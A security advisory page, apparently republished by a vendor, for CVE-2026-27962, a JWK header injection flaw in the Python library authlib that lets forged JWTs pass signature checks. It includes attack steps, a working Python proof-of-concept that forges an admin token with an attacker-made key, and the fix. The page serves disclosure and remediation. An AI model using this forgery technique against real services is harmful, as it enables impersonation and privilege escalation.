Summary
Description
A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed
to any JWS deserialization function, the library extracts and uses the cryptographic key embedded
in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own
private key, embed the matching public key in the header, and have the server accept the forged
token as cryptographically valid, bypassing authentication and authorization entirely.
This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.
Details
Vulnerable file: authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature._prepare_algorithm_key()
Lines: 272–273
elif key is None and "jwk" in header:
key = header["jwk"] # ← attacker-controlled key used for verification
When key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), orjws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts
that value, which is fully attacker-controlled, and uses it as the verification key.
RFC 7515 violations:
- §4.1.3 explicitly states the
jwkheader parameter is "NOT RECOMMENDED" because keys
embedded by the token submitter cannot be trusted as a verification anchor. - §5.2 (Validation Algorithm) specifies the verification key MUST come from the application
context, not from the token itself. There is no step in the RFC that permits falling back to
thejwkheader when no application key is provided.
Why this is a library issue, not just a developer mistake:
The most common real-world trigger is a key resolver callable used for JWKS-based key lookup.
A developer writes:
def lookup_key(header, payload):
kid = header.get("kid")
return jwks_cache.get(kid) # returns None when kid is unknown/rotated
jws.deserialize_compact(token, lookup_key)
When an attacker submits a token with an unknown kid, the callable legitimately returns None.
The library then silently falls through to key = header["jwk"], trusting the attacker's embedded
key. The developer never wrote key=None, the library's fallback logic introduced it. The result
looks like a verified token with no exception raised, making the substitution invisible.
Attack steps:
- Attacker generates an RSA or EC keypair.
- Attacker crafts a JWT payload with any desired claims (e.g.
{"role": "admin"}). - Attacker signs the JWT with their private key.
- Attacker embeds their public key in the JWT
jwkheader field. - Attacker uses an unknown
kidto cause the key resolver to returnNone. - The library uses
header["jwk"]for verification, signature passes. - Forged claims are returned as authentic.
PoC
Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).
Requirements:
pip install authlib cryptography
Exploit script:
from authlib.jose import JsonWebSignature, RSAKey
import json
jws = JsonWebSignature(["RS256"])
# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)
# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)
# Step 3: Server decodes with key=None, token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims) # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin" # PASSES
Expected output:
{'sub': 'attacker', 'role': 'admin'}
Docker (self-contained reproduction):
sudo docker run --rm authlib-cve-poc:latest \
python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py
Impact
This is an authentication and authorization bypass vulnerability. Any application using authlib's
JWS deserialization is affected when:
key=Noneis passed directly, or- a key resolver callable returns
Nonefor unknown/rotatedkidvalues (the common JWKS lookup pattern)
An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims
(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.
The forged token is indistinguishable from a legitimate one, no exception is raised.
This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk
header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from
the application context, not the token itself.
Minimal fix, remove the fallback from authlib/jose/rfc7515/jws.py:272-273:
# DELETE:
elif key is None and "jwk" in header:
key = header["jwk"]
Recommended safe replacement, raise explicitly when no key is resolved:
if key is None:
raise MissingKeyError("No key provided and no valid key resolvable from context.")
CVE-2026-27962 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.9); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-27962? CVE-2026-27962 is a critical-severity security vulnerability in authlib (pip), affecting versions <= 1.6.8. It is fixed in 1.6.9.
- How severe is CVE-2026-27962? CVE-2026-27962 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of authlib are affected by CVE-2026-27962? authlib (pip) versions <= 1.6.8 is affected.
- Is there a fix for CVE-2026-27962? Yes. CVE-2026-27962 is fixed in 1.6.9. Upgrade to this version or later.
- Is CVE-2026-27962 exploitable, and should I be worried? Whether CVE-2026-27962 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-27962 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-27962? Upgrade
authlibto 1.6.9 or later.